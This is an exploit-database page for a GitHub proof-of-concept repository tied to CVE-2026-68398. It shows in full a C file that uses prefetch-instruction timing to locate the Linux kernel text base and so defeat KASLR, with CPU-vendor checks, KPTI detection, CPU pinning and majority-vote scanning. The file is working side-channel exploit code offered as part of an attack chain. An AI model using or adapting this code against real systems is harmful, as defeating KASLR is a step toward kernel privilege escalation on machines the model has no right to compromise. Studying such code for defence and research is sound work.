Exploit database

GH-e57c512ece976688fa88b839230fd0a4

aramosf/cve-2026-68398

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-68398

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files10
aramosf/cve-2026-68398Revision 9c93300f5f11

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

kaslr_prefetch.c

C · 8,852 bytes
// SPDX-License-Identifier: MIT
/*
 * Prefetch KASLR detector derived from KASLD's prefetch component:
 * https://github.com/bcoles/kasld
 *
 * Copyright (c) 2019 Brendan Coles
 * Copyright (c) 2026 A. Ramos
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to
 * deal in the Software without restriction, including without limitation the
 * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
 * sell copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
 * IN THE SOFTWARE.
 */
#define _GNU_SOURCE

#include "kaslr_prefetch.h"

#include <cpuid.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CPU_UNKNOWN 0
#define CPU_AMD 1
#define CPU_INTEL 2

#define TEXT_MIN 0xffffffff80000000ULL
#define TEXT_MAX 0xffffffffc0000000ULL
#define TEXT_STEP 0x200000ULL
#define NUM_SLOTS ((TEXT_MAX - TEXT_MIN) / TEXT_STEP)
#define ITERATIONS 64
#define PASSES 7
#define BATCH_PASSES 5
#define BATCH_ITERATIONS 10
#define BATCH_SIZE 2000
#define WARMUP 3
#define MIN_AMD_PLATEAU 12

static int cmp_u64(const void *a, const void *b)
{
	uint64_t av = *(const uint64_t *)a;
	uint64_t bv = *(const uint64_t *)b;

	return (av > bv) - (av < bv);
}

static int cpu_vendor(void)
{
	unsigned int eax, ebx, ecx, edx;

	__cpuid(0, eax, ebx, ecx, edx);
	if (ebx == 0x756e6547 && edx == 0x49656e69 && ecx == 0x6c65746e)
		return CPU_INTEL;
	if (ebx == 0x68747541 && edx == 0x69746e65 && ecx == 0x444d4163)
		return CPU_AMD;
	return CPU_UNKNOWN;
}

static bool has_rdtscp(void)
{
	unsigned int eax, ebx, ecx, edx;

	if (__get_cpuid_max(0x80000000, NULL) < 0x80000001)
		return false;
	__cpuid(0x80000001, eax, ebx, ecx, edx);
	return !!(edx & (1U << 27));
}

static bool cpuinfo_has_pti(void)
{
	char *line = NULL;
	size_t size = 0;
	bool result = false;
	FILE *file = fopen("/proc/cpuinfo", "re");

	if (!file)
		return false;
	while (getline(&line, &size, file) >= 0) {
		if (strstr(line, "flags") && strstr(line, " pti")) {
			result = true;
			break;
		}
	}
	free(line);
	fclose(file);
	return result;
}

static uint64_t time_prefetch(uint64_t address)
{
	uint64_t start_lo, start_hi, end_lo, end_hi;

	__asm__ volatile(
		".intel_syntax noprefix;"
		"mfence; rdtscp;"
		"mov %0, rax; mov %1, rdx;"
		"xor rax, rax; lfence;"
		"prefetchnta qword ptr [%4];"
		"prefetcht2 qword ptr [%4];"
		"xor rax, rax; lfence; rdtscp;"
		"mov %2, rax; mov %3, rdx; mfence;"
		".att_syntax;"
		: "=r"(start_lo), "=r"(start_hi), "=r"(end_lo),
		  "=r"(end_hi)
		: "r"(address)
		: "rax", "rbx", "rcx", "rdx", "memory");
	return ((end_hi << 32) | end_lo) -
	       ((start_hi << 32) | start_lo);
}

static uint64_t time_prefetch_batch(uint64_t address, unsigned long count)
{
	uint64_t start_lo, start_hi, end_lo, end_hi;

	__asm__ volatile(
		".intel_syntax noprefix;"
		"mfence; rdtscp;"
		"mov %0, rax; mov %1, rdx; lfence;"
		"2: prefetchnta qword ptr [%5];"
		"prefetcht2 qword ptr [%5];"
		"dec %4; jnz 2b;"
		"lfence; rdtscp;"
		"mov %2, rax; mov %3, rdx; mfence;"
		".att_syntax;"
		: "=&r"(start_lo), "=&r"(start_hi), "=&r"(end_lo),
		  "=&r"(end_hi), "+r"(count)
		: "r"(address)
		: "rax", "rcx", "rdx", "cc", "memory");
	return ((end_hi << 32) | end_lo) -
	       ((start_hi << 32) | start_lo);
}

static void collect(uint64_t times[NUM_SLOTS], int vendor)
{
	unsigned int pass;
	size_t slot;

	if (vendor == CPU_AMD)
		memset(times, 0, sizeof(uint64_t) * NUM_SLOTS);
	else
		for (slot = 0; slot < NUM_SLOTS; slot++)
			times[slot] = UINT64_MAX;

	for (pass = 0; pass < WARMUP + ITERATIONS; pass++) {
		for (slot = 0; slot < NUM_SLOTS; slot++) {
			uint64_t value = time_prefetch(TEXT_MIN + slot * TEXT_STEP);

			if (pass < WARMUP)
				continue;
			if (vendor == CPU_AMD)
				times[slot] += value;
			else if (value < times[slot])
				times[slot] = value;
		}
	}
}

static void collect_batched(uint64_t times[NUM_SLOTS])
{
	size_t slot;

	for (slot = 0; slot < NUM_SLOTS; slot++) {
		uint64_t address = TEXT_MIN + slot * TEXT_STEP;
		uint64_t best = UINT64_MAX;

		for (unsigned int i = 0; i < WARMUP; i++)
			(void)time_prefetch_batch(address, BATCH_SIZE);
		for (unsigned int i = 0; i < BATCH_ITERATIONS; i++) {
			uint64_t value = time_prefetch_batch(address, BATCH_SIZE);

			if (value < best)
				best = value;
		}
		times[slot] = best;
	}
}

static uint64_t median_absolute_deviation(const uint64_t *times,
					  uint64_t median)
{
	uint64_t deviations[NUM_SLOTS];

	for (size_t i = 0; i < NUM_SLOTS; i++)
		deviations[i] = times[i] > median ? times[i] - median :
			median - times[i];
	qsort(deviations, NUM_SLOTS, sizeof(deviations[0]), cmp_u64);
	return deviations[NUM_SLOTS / 2];
}

static long amd_cluster(const uint64_t *times, uint64_t threshold,
			uint64_t edge_bound, unsigned int required,
			unsigned int window)
{
	for (size_t slot = 0; slot + window <= NUM_SLOTS; slot++) {
		unsigned int count = 0;

		if (times[slot] <= threshold)
			continue;
		for (unsigned int i = 0; i < window; i++)
			if (times[slot + i] > threshold)
				count++;
		if (count >= required) {
			while (slot && times[slot - 1] > edge_bound)
				slot--;
			return (long)slot;
		}
	}
	return -1;
}

static long find_edge(const uint64_t times[NUM_SLOTS], int vendor,
		      bool batched)
{
	uint64_t sorted[NUM_SLOTS];
	uint64_t median;

	memcpy(sorted, times, sizeof(sorted));
	qsort(sorted, NUM_SLOTS, sizeof(sorted[0]), cmp_u64);
	median = sorted[NUM_SLOTS / 2];

	if (vendor == CPU_AMD) {
		if (batched)
			return amd_cluster(times, median * 3, median * 2, 5, 8);
		long edge = amd_cluster(times, median + median / 2,
					median + median / 4, 5, 8);
		if (edge >= 0)
			return edge;
		uint64_t mad = median_absolute_deviation(times, median);
		if (mad < (median >> 8))
			mad = median >> 8;
		return amd_cluster(times, median + 4 * mad, median + 2 * mad,
				   (MIN_AMD_PLATEAU * 3 + 3) / 4,
				   MIN_AMD_PLATEAU);
	}

	uint64_t minimum = UINT64_MAX;
	size_t seed = 0;
	for (size_t slot = 0; slot < NUM_SLOTS; slot++) {
		if (times[slot] < minimum) {
			minimum = times[slot];
			seed = slot;
		}
	}
	uint64_t bound = median - (median - minimum) / 2;
	while (seed && times[seed - 1] < bound)
		seed--;
	return (long)seed;
}

static uint64_t majority_scan(int vendor, bool batched, int verbose)
{
	uint64_t results[PASSES] = { 0 };
	uint64_t times[NUM_SLOTS];
	unsigned int limit = batched ? BATCH_PASSES : PASSES;

	for (unsigned int pass = 0; pass < limit; pass++) {
		if (batched)
			collect_batched(times);
		else
			collect(times, vendor);
		long edge = find_edge(times, vendor, batched);
		if (edge >= 0)
			results[pass] = TEXT_MIN + (uint64_t)edge * TEXT_STEP;
		if (verbose)
			fprintf(stderr, "prefetch pass %u: %#llx\n", pass,
				(unsigned long long)results[pass]);

		for (unsigned int candidate = 0; candidate <= pass; candidate++) {
			unsigned int votes = 0;

			if (!results[candidate])
				continue;
			for (unsigned int i = 0; i <= pass; i++)
				if (results[i] == results[candidate])
					votes++;
			if (votes > limit / 2)
				return results[candidate];
		}
	}
	return 0;
}

uint64_t detect_kernel_base_prefetch(unsigned int attempts, int verbose)
{
	cpu_set_t original, one;
	bool affinity_saved = sched_getaffinity(0, sizeof(original), &original) == 0;
	int vendor = cpu_vendor();
	uint64_t result = 0;

	if (!has_rdtscp()) {
		fprintf(stderr, "KASLR detector: RDTSCP is unavailable\n");
		return 0;
	}
	if (cpuinfo_has_pti()) {
		fprintf(stderr,
			"KASLR detector: KPTI is active; prefetch cannot see kernel text\n");
		return 0;
	}
	if (affinity_saved) {
		CPU_ZERO(&one);
		for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) {
			if (CPU_ISSET(cpu, &original)) {
				CPU_SET(cpu, &one);
				break;
			}
		}
		(void)sched_setaffinity(0, sizeof(one), &one);
	}
	for (unsigned int attempt = 0; attempt < attempts && !result; attempt++) {
		result = majority_scan(vendor, false, verbose);
		if (!result && vendor == CPU_AMD)
			result = majority_scan(vendor, true, verbose);
	}
	if (affinity_saved)
		(void)sched_setaffinity(0, sizeof(original), &original);
	return result;
}